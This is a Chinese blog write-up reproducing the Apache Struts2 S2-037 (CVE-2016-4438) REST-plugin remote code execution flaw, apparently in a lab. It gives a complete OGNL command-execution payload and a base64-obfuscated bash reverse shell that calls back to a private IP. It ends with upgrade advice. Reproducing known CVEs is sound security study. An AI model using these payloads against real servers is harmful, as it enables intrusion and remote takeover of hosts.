首页 > 其他分享 >S2-037 CVE-2016-4438 远程代码执行

S2-037 CVE-2016-4438 远程代码执行

时间:2023-01-12 18:34:12浏览次数:78  
标签:2016 远程 command 代码执行 apache org ros 4438

漏洞名称

S2-037 CVE-2016-4438 远程代码执行

利用条件

Struts 2.3.20 - Struts Struts 2.3.28.1

使用了REST插件

漏洞原理

Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。

rest介绍:
使用http://localhost:8080/bee/action-name/1/XXX这种请求方式,其实XXX可以是任何合法的名字
Struts2会查找XXX为名字的方法来调用,比如请求http://localhost:8080/bee/test/1/abc,那么TestAction的public String abc()就会被调用

攻击者可以使用REST插件调用恶意表达式实现远程执行代码

当 Struts2 开启 devMode 模式时,将导致严重远程代码执行漏洞。如果 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等

在开启 devMode 情况下,本漏洞可影响 Struts 2.1.0--2.5.1

漏洞利用

命令执行

payload

#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=ls /

command=执行命令

image-20230112180527326

在线url网址编码、解码(ES JSON在线工具)

编码后发送请求

image-20230112181001823

反弹shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

image-20230112181413374

image-20230112181515740

修复建议

升级最新版

参考文章

https://www.cnblogs.com/CoLo/p/12981291.html

https://cwiki.apache.org/confluence/display/WW/S2-037

标签:2016,远程,command,代码执行,apache,org,ros,4438
From: https://www.cnblogs.com/crayonxiaoxin/p/17047629.html

相关文章

  • S2-061 CVE-2020-17530 远程代码执行
    漏洞名称S2-061CVE-2020-17530远程代码执行利用条件Struts2.0.0-Struts2.5.25漏洞原理s2-061漏洞产生的原因是Struts2会对某些标签属性(比如id,其他属性有待寻......
  • S2-059 CVE-2019-0230 远程代码执行
    漏洞名称S2-059CVE-2019-0230远程代码执行利用条件Struts2.0.0-Struts2.5.20漏洞原理漏洞产生的主要原因是因为ApacheStruts框架在强制执行时,会对分配给某些标......
  • SharePoint 解决方案:配置SharePoint 2016/2019 Configuration wizard 异常
    Blog链接:​​​https://blog.51cto.com/u_13637423​​今天因给客户做Demo,执行SharePoint2016/2019 Configurationwizard 配置SharePointServer2016和2019farm环境,再......
  • [SDOI2016] 储能表
    [SDOI2016]储能表题目描述有一个n行m列的表格,行从0到n−1编号,列从0到m−1编号。每个格子都储存着能量。最初,第i行第j列的格子储存着(ixorj)点能量。......
  • Windows Server 2016离线安装.NET Framework 3.5
    安装方法:1、下载NetFx3.cab后将其放于C盘WINDOWS文件夹下(C:\Windows)2、点击“开始”找到“WindowsPowerShell”右击“以管理员身份运行”,输入如下命令:dism.exe/onlin......
  • S2-052 CVE-2017-9805 远程代码执行
    漏洞名称S2-052CVE-2017-9805远程代码执行利用条件Struts2.1.6-Struts2.3.33Struts2.5-Struts2.5.12漏洞原理Struts2REST插件的XStream组件存在反序列化......
  • SQL Server 2016 Always Encrypted(始终加密)
    AlwaysEncrypted功能旨在保护AzureSQLDatabase或SQLServer数据库中存储的敏感数据,如信用卡号或身份证号(例如美国社会安全号码)。始终加密允许客户端对客户端应用程......
  • SQL Server 2016 无域群集配置 AlwaysON 可用性组
    windowsserver2016与sqlserver2016高可用允许不许要加入AD,管理方面省了挺多操作,也不用担心域控出现问题影响各服务器了。本测试版本:windowserver2016datacenter......
  • SQL Server 2016 KB2919355 安装失败
    WindowsServer2012R2安装SQLServer2016检查未通过,需要安装 KB2919355。错误如下图:按提示,下载安装​​WindowsServer2012R2更新(KB2919355)​​ ,下载文件......
  • ABB 800XA学习笔记4:设置windows 2016 server的默认登陆用户
    这一篇学习笔记我在新浪博客发表过,地址是ABB800XA学习笔记04:设置windowsserver2016默认登录用户_来自金沙江的小鱼_新浪博客(sina.com.cn)在这里我保留一份,以免丢失 ......